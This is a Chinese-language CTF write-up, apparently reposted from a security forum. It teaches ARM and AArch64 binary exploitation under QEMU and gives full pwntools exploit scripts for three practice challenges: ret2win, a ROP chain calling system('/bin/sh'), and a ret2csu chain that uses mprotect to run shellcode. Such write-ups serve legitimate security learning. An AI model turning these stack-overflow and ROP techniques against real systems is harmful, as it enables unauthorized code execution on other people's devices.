arm aarch64 pwn学习
2023-12-21 16:51:59 Author: xz.aliyun.com(查看原文) 阅读量:5 收藏

QEMU

两种运行模式
qemu-user
qemu-system
qemu-system 可以进行完整的系统仿真,而 qemu-user 只提供用户态仿真。
安装:
apt search "libc6-" | grep "arm"
sudo apt-get install qemu qemu-user qemu-user-static

本地运行

arm

qemu-arm -L /usr/arm-linux-gnueabi ./pwn

aarch64

qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./pwn

gdb调试

下载:
sudo apt-get install gdb-multiarch
调试:
gdb-multiarch pwn -q
set architecture arm
set architecture aarch64
target remote localhost:1234

ret2win (arm ret2text)

思路


arm架构的,然后动态链接程序


栈溢出,也有后门,很好解决,这里主要是通过调试去熟悉arm架构的寄存器的操作


可以看到这里寄存器和x86有区别,但是还是可以看个大概,这里我们就直接去通过通过调试去熟悉就可以了

我们直接在exp里面写上
p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","-g", "1234","./pwn"])
然后开始调试


调试异架构的时候建议直接下断点然后运行过去就可以


这里我直接走到pwnme函数,可以看到bl就相当于call


然后基本确定r0-r2储存前三个参数
然后pc就是相当于rip,sp储存的就是栈顶


r11就类似于rbp


然后这里就是fp储存的栈底去减4赋值给sp


然后就是pop {fp, pc}


从上图调试,大概可以可以看出就是把sp储存的值pop给r11,然后再sp+1,再执行pop pc,沿着sp去执行程序,同时sp指针再加1

exp

import os
import sys
import time
from pwn import *
from ctypes import *

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

context(arch='arm', os='linux')
context.log_level = 'debug'

p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","./pwn"])
#p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","-g", "1234","./pwn"])

pl = "a" * 0x24 + p32(0x000105EC)
sa('>', pl)
itr()

typo (arm simple rop)

思路


这里的ida里面的代码量很大,直接运行程序,去看看有没有溢出就可以


这里可以看出溢出了,所以用gdb调试一下
这里的gdb实际上是不太好调的


如果我们只是输入范围内大小的字符串,调试那里会卡住,所以这里我们输入比较短的字符串很难去得到偏移,所以这里我们直接用cyclic去寻找


先用cyclic去生成一段字符串
然后我们直接输入


直接找出偏移112
然后再找一下gadget


然后找bin/sh


然后顺着bin/sh,找到了类似于system的函数

exp

import os
import sys
import time
from pwn import *
from ctypes import *

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

context(arch='arm', os='linux')
context.log_level = 'debug'

p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","./pwn"])
#p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","-g", "1234","./pwn"])

r0_r4=0x00020904
bin_sh=0x0006c384
system=0x00010BA8
s('\n')
pl='a'*112+p32(r0_r4)+p32(bin_sh)+p32(0)+p32(system)
s(pl)
itr()

baby_arm (aarch64 ret2csu)

思路


先动调熟悉一下


储存参数的寄存器是x0-x2
然后在ida中我们发现有mprotect函数

然后第一次read是直接读入到bss段,所以这里我们就可以去写shellcode,然后利用mprotect修改权限后调用


然后这里就是类似于csu的gadget


这一段LDP X19, X20, [SP,#var_s10]
意思是将sp+0x10处数据给x19,sp+0x18处数据给0x20
以此类推,后面的汇编表示的是:
将sp+0x20处数据给x21,sp+0x28处数据给0x22
将sp+0x30处数据给x23,sp+0x38处数据给0x24
将sp处数据给x29,sp+0x8处数据给x30
RET ; 返回x30寄存器中存放的地址/PC
这一段的作用就是赋值


然后这一段就是利用x21,x22,x23,x24分别向x3,x2,x1,x0赋值,然后跳转到x3的地址,然后比较x19与x20,相等不跳转
第一次read输入shellcode,然后第二次用csu去调用相应的函数和shellcode

def csu(x19,x20,call_got,x2,x1,x0,call_shell):
    pl ='a' * offset
    pl += p64(csu_down)
    pl += p64(0) + p64(csu_up)
    pl += p64(x19) + p64(x20) #x19 x20
    pl += p64(call_got) + p64(x2) #x21 x22
    pl += p64(x1) + p64(x0) #x23 x24
    pl += p64(0) + p64(call_shell)
    pl += p64(0) * 6
    return pl

这里的定义的csu就是溢出后调用,先去覆盖返回地址为csu_down,调用后sp指向csu_down,然后按照偏移依次往下构造就可以

exp

import os
import sys
import time
from pwn import *
from ctypes import *

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'

p = process(["qemu-aarch64","-L","/usr/aarch64-linux-gnu/","./pwn"])
#p = process(["qemu-aarch64","-L","/usr/aarch64-linux-gnu/","-g", "1234","./pwn"])
mprotect_plt = 0x400600
mprotect_got = 0x411030
csu_down = 0x4008CC
csu_up = 0x4008AC

offset=0x48

def csu(x19,x20,call_got,x2,x1,x0,call_shell):
    pl ='a' * offset
    pl += p64(csu_down)
    pl += p64(0) + p64(csu_up)
    pl += p64(x19) + p64(x20) #x19 x20
    pl += p64(call_got) + p64(x2) #x21 x22
    pl += p64(x1) + p64(x0) #x23 x24
    pl += p64(0) + p64(call_shell)
    pl += p64(0) * 6
    return pl

shellcode_addr = 0x411068
shellcode = asm(shellcraft.aarch64.sh())
pl = shellcode
sa('Name:',pl)

pl=csu(0,1,mprotect_got,7,0x1000,shellcode_addr,shellcode_addr)
s(pl)
itr()

文章来源: https://xz.aliyun.com/t/13191
如有侵权请联系:admin#unsafe.sh